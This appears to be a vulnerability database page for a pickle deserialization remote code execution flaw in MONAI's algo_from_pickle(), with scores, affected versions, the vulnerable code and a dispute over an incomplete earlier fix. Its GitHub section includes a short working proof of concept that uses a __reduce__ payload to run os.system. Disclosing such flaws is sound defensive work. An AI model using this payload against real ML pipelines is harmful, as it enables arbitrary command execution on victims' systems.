8.5high
MONAI before 1.6.0 Remote Code Execution via algo_from_pickle
- Severity
- 8.5high CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.30% (higher than 25% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-qxq5-qhx6-94qwPYSEC-2026-4018
Description
MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Project-MONAI MONAI | before 1.6.0 Not affected: 1.6.0 | CVE List, NVD |
| monai (PyPI) | before 1.6.0 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| VulnCheck | 8.5high CVSS:4.0 | CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| VulnCheck | 7.8high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| GitHub | 7.8high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.
GitHub Advisory Database
Summary
GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in
algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py
has not been modified since 2024-07-12 — 18 months before v1.5.2 was released
(2026-01-29). All three pickle.loads() calls remain unchanged. The fix was
never implemented.
Vulnerable Code
File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)
def algo_from_pickle(pkl_filename: str, ...):
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here
# isinstance/key checks happen AFTER deserialization — already too late
algo_bytes = data.pop("algo_bytes")
...
if len(template_paths_candidates) == 0:
algo = pickle.loads(algo_bytes) # SINK 2 — line 350
else:
for p in template_paths_candidates:
algo = pickle.loads(algo_bytes) # SINK 3 — line 356
No Unpickler subclass, no find_class restriction, no allowlist.
Why the Fix is Incomplete
- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch
PoC
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof.txt',))
# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
f.write(pickle.dumps(data))
# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
data = pickle.loads(f.read()) # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires
print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...
Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
desktop-5657tb1\woong
Impact
Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
References
| https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw | evidence, exploit, vendor-advisory, web | |
| https://www.vulncheck.com/advisories/monai-before-1.6.0-remote-code-execution-via-algo-from-pickle | advisory, third-party-advisory | |
| https://github.com/Project-MONAI/MONAI | package | |
| https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0 | web | |
| https://github.com/advisories/GHSA-89gg-p5r5-q6r4 | advisory | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-100843 changed 2026-09-30 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qxq5-qhx6-94qw changed 2026-10-01 | CC-BY-4.0 |
| NVD | CVE-2026-100843 changed 2026-09-30 | Public domain |
| PyPA Advisory Database | PYSEC-2026-4018 changed 2026-10-01 | CC-BY-4.0 |